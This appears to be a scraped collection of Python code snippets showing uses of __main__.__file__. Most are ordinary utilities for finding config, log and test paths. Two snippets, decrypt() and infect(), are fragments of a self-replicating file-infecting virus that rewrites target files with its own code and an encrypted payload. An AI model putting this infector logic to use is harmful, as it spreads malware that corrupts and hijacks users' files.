我们从Python开源项目中,提取了以下47个代码示例,用于说明如何使用__main__.__file__()。
def setup(bot): bot.add_cog(Tunes(bot)) if __main__.__file__ == "bot.py": # use test channels print("set to test channels") bot.testing = True bot.request_channel = "304837708650643459" bot.music_channel = "312693106736889867" else: # use production channels bot.testing = False print("set to production channels") bot.request_channel = "354084037465473025" bot.music_channel = "228761314644852737" bot.music_priorityqueue = False bot.music_authoritarian = False bot.admins_dict = {"173702138122338305":"henry", "173177975045488640":"nos" }
def get_base_app_name(): """ Base App name, which this script belongs to. """ import __main__ main_name = __main__.__file__ absolute_path = os.path.normpath(main_name) parts = absolute_path.split(os.path.sep) parts.reverse() for key in ("apps", "slave-apps", "master-apps"): try: idx = parts.index(key) if parts[idx + 1] == "etc": return parts[idx - 1] except (ValueError, IndexError): pass raise RestError( status=500, message='Cannot get app name from file: %s' % main_name )
def download_file(url, binary=True): if sys.version_info < (3,): from urlparse import urlsplit import urllib2 request = urllib2 error = urllib2 else: from urllib.parse import urlsplit from urllib import request, error filename = os.path.basename(urlsplit(url)[2]) data_dir = os.path.join(os.path.dirname(__file__), 'data') path = os.path.join(data_dir, filename) if os.path.exists(path): return path try: data = request.urlopen(url, timeout=15).read() with open(path, 'wb' if binary else 'w') as f: f.write(data) return path except error.URLError: msg = "could not download test file '{}'".format(url) warnings.warn(msg, RuntimeWarning) raise unittest.SkipTest(msg)
def is_proxy(): ''' Return True if this minion is a proxy minion. Leverages the fact that is_linux() and is_windows both return False for proxies. TODO: Need to extend this for proxies that might run on other Unices ''' import __main__ as main # This is a hack. If a proxy minion is started by other # means, e.g. a custom script that creates the minion objects # then this will fail. is_proxy = False try: if 'salt-proxy' in main.__file__: is_proxy = True except AttributeError: pass return is_proxy
def __loadTkdnd(self): global TkDND if TkDND is None: try: tkdndlib = os.path.join(os.path.dirname(os.path.abspath(__file__)), "lib", "tkdnd2.8") os.environ['TKDND_LIBRARY'] = tkdndlib from appJar.lib.TkDND_wrapper import TkDND self.dnd = TkDND(self.topLevel) except: TkDND = False # function to receive DnD events
def init_words(dict_file): with open(os.path.join(os.path.split(__main__.__file__)[0], dict_file)) as words_f: return json.load(words_f)
def get_root_log_fn(): if hasattr(__main__, '__file__'): name = __main__.__file__ name = os.path.basename(name) if name == '<stdin>': name = '__stdin__' return name.rsplit('.', 1)[0] + '.' + log_suffix else: return '__instant_command__.' + log_suffix
def __init__(self, fn, handler=None, file_end_handler=None, exclusive=True, id=None, strip=False): self.fn = fn self.handler = handler self.file_end_handler = file_end_handler self.exclusive = exclusive if id is None: if hasattr(__main__, '__file__'): id = __main__.__file__ id = os.path.basename(id) if id == '<stdin>': id = '__stdin__' else: id = '__instant_command__' self.id = id self.strip = strip self.running = None if (self.handler is not None and callable(self.handler)): self.handler = [self.handler]
def _default_pid_file(): if hasattr(__main__, '__file__'): name = __main__.__file__ name = os.path.basename(name) if name == '<stdin>': name = '__stdin__' return '/var/run/' + name.rsplit('.', 1)[0] else: return '/var/run/pykit.daemonize'
def parse_arguments(self): """parse_arguments(self) Parses the arguments passed to the script and calls appropriate functions """ #self.parser.add_argument("--%s" % var, action='store', type=str, default=self.interpolate(key=var), help=help) self.parser.add_argument("--config", action='store', type=str, metavar="path/to/config.yaml", default=self.config_file, help='Config file to load for LGSM script') self.parser.add_argument("--game", action='store', type=str, default="insserver", help='Game to use') self.parser.add_argument("--root_dir", action='store', type=str, metavar=".", default=self.interpolate(key="root_dir"), help='Root directory for LGSM') self.parser.add_argument("--platform", action='store', type=str, default="steam", help='Platform to use for deploying game') self.parser.add_argument("--game_instance", action='store', type=str, default=self.interpolate(key="game_instance"), help='Instance name') self.parser.add_argument("--lgsm_dir", action='store', type=str, metavar="~/.lgsm", default="%(root_dir)s/lgsm", help='Directory where all LGSM files will be placed') self.parser.add_argument("-v", "--verbose", help="Debugging Mode", action='store_true') self.parser.add_argument("-d", "--debug", help="Debugging Mode", action='store_true') self.parser.add_argument("-i", "--interactive", help="Interactive Mode", action='store_true') self.parser.add_argument("--gamedata_dir", action='store', type=str, metavar="./lgsm/gamedata", default="%(lgsm_dir)s/gamedata", help='Path to install game data files') """self.parser.add_argument("--gamedata_repo", action='store', type=str, default="lgsm-gamedata", help='GitHub repo for game data') self.parser.add_argument("--gamedata_user", action='store', type=str, default="%(github_user)s", help='GitHub user for game data') self.parser.add_argument("--gamedata_branch", action='store', type=str, default="%(github_branch)s", help='GitHub branch for game data') self.parser.add_argument("--github_update", action='store_true', default=True, help='Update gamedata and modules from GitHub') self.parser.add_argument("--github_user", action='store', type=str, default="jaredballou", help='Default GitHub user') self.parser.add_argument("--github_branch", action='store', type=str, default="master", help='Default GitHub branch') self.parser.add_argument("--lgsm_branch", action='store', type=str, default="%(github_branch)s", help='GitHub LGSM branch') self.parser.add_argument("--lgsm_repo", action='store', type=str, default="lgsm-python", help='GitHub LGSM repo') self.parser.add_argument("--lgsm_user", action='store', type=str, default="%(github_user)s", help='GitHub LGSM user') self.parser.add_argument("--game_script_name", action='store', type=str, default=os.path.basename(os.path.realpath(main.__file__)), help='Game script name') self.parser.add_argument("--game_script_cfg_dir", action='store', type=str, default="%(lgsm_dir)s/config/%(game_script_name)s", help='LGSM config path for this game') """ # required=True, #choices=['1', '2', '3', '4', '5', '6', '7', '8', '9'], #action='store_true', self.args = self.parser.parse_args() #pprint(self.args) # print args.accumulate(args.integers)
def _findDirectories(self, top = None, prefix = None): #self._log("Running - {0} -".format(main.__file__)) top = top if top else os.path.dirname(main.__file__) self._log("Checking {0} for directories".format(top if prefix is None else prefix)) prefix = "" if prefix is None else prefix directories = [top] entries = os.listdir(top) for entry in entries: if os.path.isdir(top + "/" + entry): entryDir = "/" + entry self._log("Adding directory {0} ".format(prefix + entryDir )) directories += self._findDirectories(top + entryDir , prefix = entryDir ) return directories
def decrypt(data): this = open(__main__.__file__, 'r') data = base64.b64decode(data); iv = Random.new().read(AES.block_size) cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv) this.close() return cipher.decrypt(data)[16:] # Gets the virus file
def infect(filename): os.rename(filename, filename + '-copy') destination = open(filename, 'w') os.chmod(filename, 0777) source = open(filename + '-copy', 'r') this = open(__main__.__file__, 'r') # Append the original file for line in source: destination.write(line) destination.write("\n######################################################## First script python\n") destination.write("# coding=utf-8\n") destination.write("# Start Unencrypted\n") copy = False result = '' for line in this: if line.strip() == '# Start Unencrypted': copy = True elif line.strip() == '# End Unencrypted': destination.write('# End Unencrypted') copy = False elif copy: destination.write(line); destination.write("\n# Start payload\n") destination.write("#") destination.write(str(encrypt(e, filename))) destination.write("\n# End payload") os.remove(filename + '-copy') source.close() destination.close() this.close()
def test_main(self): import __main__ path, src, is_pkg = self.call('__main__') self.assertEquals(path, __main__.__file__) self.assertEquals(src, open(path).read()) self.assertFalse(is_pkg)
def module_path(): """ This will get us the program's directory, even if we are frozen using py2exe""" if we_are_frozen(): print "Apparently running from the executable." return os.path.dirname(unicode(sys.executable, sys.getfilesystemencoding( ))) return os.path.dirname(unicode(__file__, sys.getfilesystemencoding( )))
def read(file = None, create = False): import __main__ if file == None or file == __main__.__file__: file = OS.filename(OS.realpath(__main__.__file__)) + ".ini" else: file = OS.realpath(file) if create == False: if not OS.isfile(file): return None return Conf(file)
def from_pyfile(self, filename, silent=False): #filename = os.path.join(self.root_path, filename) d = types.ModuleType('config') d.__file__ = filename try: with open(filename, mode='rb') as config_file: exec(compile(config_file.read(), filename, 'exec'), d.__dict__) except IOError as e: e.strerror = 'Unable to load configuration file (%s)' % e.strerror raise self.from_object(d) return True
def load_config(config_path=None): if config_path is None: import __main__ as main main_path = os.path.dirname(os.path.realpath(main.__file__)) config_path = os.path.join(main_path, 'config.py') print('loading config file: {}'.format(config_path)) cfg = Config() cfg.from_pyfile(config_path) print('config loaded') return cfg
def __init__(self, bot): self.bot = bot self.remindmelist = list() self.remindmedb = sqlite3.connect("remindmedb") c = self.remindmedb.cursor() c.execute("CREATE TABLE IF NOT EXISTS remindme (user_id bigint, msg varchar(2000), datetime datetime, channel_id varchar(20))") self.remindmedb.commit() c.close() self.mass_populate() main_loop = asyncio.get_event_loop() main_loop.create_task(self.loop_remindme()) if __main__.__file__ == "bot.py": self.remindmechannel = "304837708650643459" #testing channel else: self.remindmechannel = "228761314644852736" #production channel
def _read_httplib2_default_certs(): import httplib2 # import error should not happen here, and will be well handled by outer called httplib_dir = os.path.dirname(os.path.abspath(httplib2.__file__)) ca_certs_path = os.path.join(httplib_dir, HTTPLIB2_CA_CERT_FILE_NAME) return _read_pem_file(ca_certs_path)
def _get_temp_cert_file_dir(): import __main__ app_root = op.dirname(op.dirname(op.abspath(__main__.__file__))) temp_dir = op.join(app_root, 'temp_certs') if not op.isdir(temp_dir): try: os.mkdir(temp_dir) except: pass for candidate in ['temp_certs', 'local', 'default']: dir_path = op.join(app_root, candidate) if op.isdir(dir_path): return dir_path return app_root
def newfile(prefix,idstring,colnames=None,mypath = './',usedate=True,usefolder=True): import __main__ if hasattr(__main__, '__file__'): mainfile = __main__.__file__ else: mainfile = None print(mainfile) mytime = datetime.datetime.now() datecode = '%s' % mytime.year + '_' + ('%s' % mytime.month).zfill(2) + '_' +('%s' % mytime.day).zfill(2) timecode = ('%s' % mytime.hour).zfill(2) +'.' + ('%s' % mytime.minute).zfill(2) +'.' + ('%s' % mytime.second).zfill(2) if usedate: foldername = prefix + '_' + datecode+'_'+timecode+'_'+idstring else: foldername = prefix + '_' +idstring filename = foldername+'.dat' if usefolder: fullfoldername = os.path.normpath(mypath + '/' + foldername) fullfilename = os.path.normpath(mypath + '/' + foldername + '/' + filename) else: fullfoldername = os.path.normpath(mypath + '/') fullfilename = os.path.normpath(mypath + '/' + filename) print(fullfoldername) print(fullfilename) if not os.path.exists(fullfoldername): os.makedirs(fullfoldername) print('Measurement Name: ', foldername) if mainfile !=None and usefolder: scriptname = os.path.basename(mainfile) shutil.copyfile(mainfile,os.path.normpath(fullfoldername + '/' + scriptname)) myfile = open(fullfilename, 'w') if colnames!=None: varline = '#' + ', '.join(colnames) + '\n' myfile.write(varline) return myfile
def compute_function_id(func_name, func): """Compute an function ID for a function. Args: func_name: The name of the function (this includes the module name plus the function name). func: The actual function. Returns: This returns the function ID. """ function_id_hash = hashlib.sha1() # Include the function name in the hash. function_id_hash.update(func_name.encode("ascii")) # If we are running a script or are in IPython, include the source code in # the hash. If we are in a regular Python interpreter we skip this part # because the source code is not accessible. If the function is a built-in # (e.g., Cython), the source code is not accessible. import __main__ as main if (hasattr(main, "__file__") or in_ipython()) \ and inspect.isfunction(func): function_id_hash.update(inspect.getsource(func).encode("ascii")) # Compute the function ID. function_id = function_id_hash.digest() assert len(function_id) == 20 function_id = FunctionID(function_id) return function_id
def print_usage(): script_name = os.path.basename(__file__) configs = [] for name, args in sorted(CONFIGS.items()): if name == DEFAULT_CONFIG_NAME: name += " (default)" if name == DEBUG_CONFIG_NAME: name += " (default with --debug)" configs.append(name + "\n " + " ".join(args)) configs_string = "\n ".join(configs) cmake_name = os.path.basename(CMAKE) make_name = os.path.basename(MAKE) generator_name = CMAKE_GENERATOR.lower() default_config_name = DEFAULT_CONFIG_NAME debug_config_name = DEBUG_CONFIG_NAME print("""Usage: {script_name} [BUILD [BUILD ...]] [--all] [--debug] [MAKE_OPTIONS] Build one or more predefined build configurations of Fast Downward. Each build uses {cmake_name} to generate {generator_name} and then uses {make_name} to compile the code. Build configurations differ in the parameters they pass to {cmake_name}. Build configurations {configs_string} --all Alias to build all build configurations. --debug Alias to build the default debug build configuration. --help Print this message and exit. Make options All other parameters are forwarded to {make_name}. Example usage: ./{script_name} -j4 # build {default_config_name} in 4 threads ./{script_name} -j4 downward # as above, but only build the planner ./{script_name} debug32 -j4 # build debug32 in 4 threads ./{script_name} --debug -j4 # build {debug_config_name} in 4 threads ./{script_name} release64 debug64 # build both 64-bit build configs ./{script_name} --all VERBOSE=true # build all build configs with detailed logs """.format(**locals()))
def get_project_root_path(): import __main__ return os.path.dirname(__main__.__file__)
def mail_on_exception(): import config import mail def excepthook(etype, value, tb): try: script_name = pathlib.Path(__main__.__file__).name except AttributeError: script_name = 'script' if etype.__module__ == 'builtins': ename = etype.__name__ else: ename = etype.__module__ + '.' + etype.__name__ subject = f'[SNH48Live] {script_name} failed with {ename}' emsg = ''.join(traceback.format_exception(etype, value, tb)) if config.main.notifications: mail.send_mail(subject, emsg, config.main.mailto) sys.stderr.write(emsg) sys.exit(1) if config.main.notifications: mail.init_gmail_client() sys.excepthook = excepthook
def run_script(args): sys.argv = [args.script] + args.script_arguments path = args.script __main__.__file__ = path try: code = get_code(path) except Exception as e: traceback.print_exception(e.__class__, e, None, file=sys.stderr) else: try: exec(code, __main__.__dict__) except BaseException as e: if not sys.flags.inspect and isinstance(e, SystemExit): raise elif PY2: # Python 2 produces tracebacks in mixed encoding (!) etype, e, tb = sys.exc_info() for line in traceback.format_exception(etype, e, tb.tb_next): line = line.decode("utf-8", "replace") try: sys.stderr.write(line) except UnicodeEncodeError: line = line.encode(sys.stderr.encoding, "backslashreplace") sys.stderr.write(line) sys.stderr.flush() # is this needed? else: # PY3 traceback.print_exception(e.__class__, e, e.__traceback__.tb_next, file=sys.stderr)
def get_default_config(): root_dir = os.path.expanduser("~") script_instance_path = os.path.join(root_dir,"lgsm-core") script_game_path = os.path.realpath(script_instance_path) try: if __name__ != "__main__": script_instance_path = main.__file__ except: pass #root_dir = os.path.dirname(script_game_path) date_format = "%Y-%m-%d-%H-%M-%S" date_string = datetime.datetime.today().strftime(date_format) arch = sys.platform config = { "lgsm_script": "lgsm-core", "date_format": date_format, "date_string": date_string, "root_dir": root_dir, "platform": "steam", "lgsm_dir": "%(root_dir)s/.lgsm", "lgsm_branch": "%(github_branch)s", "lgsm_repo": "lgsm-python", "lgsm_user": "%(github_user)s", "github_update": True, "github_user": "jaredballou", "github_branch": "master", "script_cfg": "%(lgsm_dir)s/config", "gamedata_dir": "%(lgsm_dir)s/gamedata", "gamedata_repo": "lgsm-gamedata", "gamedata_user": "%(github_user)s", "gamedata_branch": "%(github_branch)s", "script_game": os.path.basename(script_game_path), "script_game_path": script_game_path, "script_game_cfg_dir": "%(lgsm_dir)s/config/%(script_game)s", "script_instance": os.path.basename(script_instance_path), "script_instance_path": script_instance_path, "script_instance_cfg": "%(script_game_cfg_dir)s/%(script_instance)s", } return config
def __setup_working_dir__(self): # fix permissions of workspace root make_sure_path_exists(self.workspace) try: chmod(self.workspace, 0o775) except PermissionError: print("PermissionError when trying to change permissions of workspace to 775") # setup working directory specs_dir = os.path.realpath("{}/{}".format(self.workspace, self.specs)) working_dir = os.path.realpath("{}/{}".format(specs_dir, self.timestamp)) # Set up result folder structure results_path = "{}/results".format(working_dir, self.timestamp) make_sure_path_exists(results_path) # Set up tensorboard directory tensorboard = "{}/tensorboard".format(working_dir, self.timestamp) make_sure_path_exists(tensorboard) # set path to kill file (if this file exists abort run) kill_file_name = "ABORT_RUN" kill_file = os.path.join(working_dir, kill_file_name) # create plot file to plot by default plot_file_name = "PLOT_ON" plot_file = os.path.join(working_dir, plot_file_name) touch(plot_file) # remove kill file before starting the run (should not exist anyway) if os.path.isfile(kill_file): os.remove(kill_file) # fix permissions to grant group write access (to allow kill_file creation and plot control) try: chmod(self.workspace, 0o775, recursive=False) chmod(specs_dir, 0o775, recursive=False) chmod(working_dir, 0o775, recursive=True) chmod(plot_file, 0o664) except PermissionError: print("PermissionError when trying to change permissions of workspace to 775") # compress and copy current script and dependencies to results dir command = " ".join(sys.argv) # copy current code to temp dir script_dir = os.path.dirname(os.path.realpath(__main__.__file__)) tempdir = tempfile.mkdtemp("tell") copydir(script_dir, tempdir, exclude=[self.workspace, os.path.join(script_dir, ".git"), os.path.join(script_dir, ".idea"), os.path.join(script_dir, "__pycache__")]) # also copy currently used TeLL library so it can be used for resuming runs copydir(TeLL.__path__[0], os.path.join(tempdir, os.path.basename(TeLL.__path__[0]))) rmdir(os.path.join(os.path.join(tempdir, os.path.basename(TeLL.__path__[0])), "__pycache__")) zipdir(dir=tempdir, zip=os.path.join(working_dir, '00-script.zip'), info=command, exclude=[self.workspace, '.git']) rmdir(tempdir) return [working_dir, results_path, tensorboard, kill_file, plot_file, None]
def assertExpected(self, s, subname=None): """ Test that a string matches the recorded contents of a file derived from the name of this test and subname. This file is placed in the 'expect' directory in the same directory as the test script. You can automatically update the recorded test output using --accept. If you call this multiple times in a single function, you must give a unique subname each time. """ if not (isinstance(s, str) or (sys.version_info[0] == 2 and isinstance(s, unicode))): raise TypeError("assertExpected is strings only") def remove_prefix(text, prefix): if text.startswith(prefix): return text[len(prefix):] return text munged_id = remove_prefix(self.id(), "__main__.") # NB: we take __file__ from __main__, so we place the expect directory # where the test script lives, NOT where test/common.py lives. This # doesn't matter in PyTorch where all test scripts are in the same # directory as test/common.py, but it matters in onnx-pytorch expected_file = os.path.join(os.path.dirname(os.path.realpath(__main__.__file__)), "expect", munged_id) if subname: expected_file += "-" + subname expected_file += ".expect" expected = None def accept_output(update_type): print("Accepting {} for {}:\n\n{}".format(update_type, munged_id, s)) with open(expected_file, 'w') as f: f.write(s) try: with open(expected_file) as f: expected = f.read() except IOError as e: if e.errno != errno.ENOENT: raise elif ACCEPT: return accept_output("output") else: raise RuntimeError( ("I got this output for {}:\n\n{}\n\n" "No expect file exists; to accept the current output, run:\n" "python {} {} --accept").format(munged_id, s, __main__.__file__, munged_id)) if ACCEPT: if expected != s: return accept_output("updated output") else: if hasattr(self, "assertMultiLineEqual"): # Python 2.7 only # NB: Python considers lhs "old" and rhs "new". self.assertMultiLineEqual(expected, s) else: self.assertEqual(s, expected)
def __init__(self, name, description, commandline_args=[]): """Command line arguments can be a list of shortcuts from `predefined_args`, or a list of dictionaries. Arguments can also be put in a file named SCRIPTNAME_args.py, e.g. `harvest_args.py`. """ self.parser = argparse.ArgumentParser(description) # Add one ubiqitous command line arguments commandline_args += ["loglevel"] # Check for FILENAME_args.py file import __main__ import os try: filename = os.path.basename(__main__.__file__) filename = os.path.splitext(filename)[0] args_from_file = __import__(filename + "_args") commandline_args += args_from_file.args except ImportError: pass # Add all the command line arguments for c in commandline_args: # cCheck for shortcuts used if isinstance(c, str): c = self.predefined_args[c] self.parser.add_argument( c.pop("short", None), c.pop("long", None), **c) argcomplete.autocomplete(self.parser) self.args = self.parser.parse_args() self.logger = logging.getLogger(name) # https://docs.python.org/2/library/logging.html#levels self.logger.setLevel(self.args.loglevel * 10) self.executionMode = self.NORMAL_MODE # Convenience shortcuts to logger methods